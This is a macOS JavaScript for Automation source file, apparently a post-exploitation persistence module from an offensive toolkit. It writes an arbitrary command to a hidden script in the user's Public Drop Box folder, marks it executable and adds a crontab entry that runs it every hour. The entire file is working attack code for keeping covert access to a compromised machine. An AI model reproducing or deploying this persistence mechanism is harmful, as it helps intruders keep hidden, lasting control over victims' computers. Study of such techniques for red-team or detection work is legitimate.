CronJobPersistence.js

//Current implementation only works under a user context
function CronJobPersistence (cronJobaction) {
ObjC.import('Foundation')
ObjC.import('stdlib')
var currentApp = Application.currentApplication();
currentApp.includeStandardAdditions = true;

var userHome = $.getenv('HOME')

var output = ""
try{
//Write cronJobaction to hidden script
var cronFilepath = userHome + "/Public/Drop\ Box/.share.sh"
function writeTextToFile(text, file, overwriteExistingContent) {
        var fileString = file.toString()
        var openedFile = currentApp.openForAccess(Path(fileString), { writePermission: true })
        if (overwriteExistingContent) {
            currentApp.setEof(openedFile, { to: 0 })
        }
        currentApp.write(text, { to: openedFile, startingAt: currentApp.getEof(openedFile) })
        currentApp.closeAccess(openedFile)
}
writeTextToFile(cronJobaction, cronFilepath, true)
        
	function chmod(value, path) {
        let a = $({NSFilePosixPermissions:value})
        let p = $(path).stringByStandardizingPath
        let e = $()
        let r = $.NSFileManager.defaultManager
                .setAttributesOfItemAtPathError(a, p, e)
        return r
    }     

//Write cronjob change to allow execution
var cronTask =  `echo "$(echo '15 * * * * cd $HOME/Public/Drop\\ Box/ && ./.share.sh' ; crontab -l)" | crontab - `
      
currentApp.doShellScript(cronTask)
chmod(0o755,cronFilepath)

output += "CronJob Persistence intalled at " + cronFilepath 

}catch(error){
       output += error.toString()
		}
	return output
}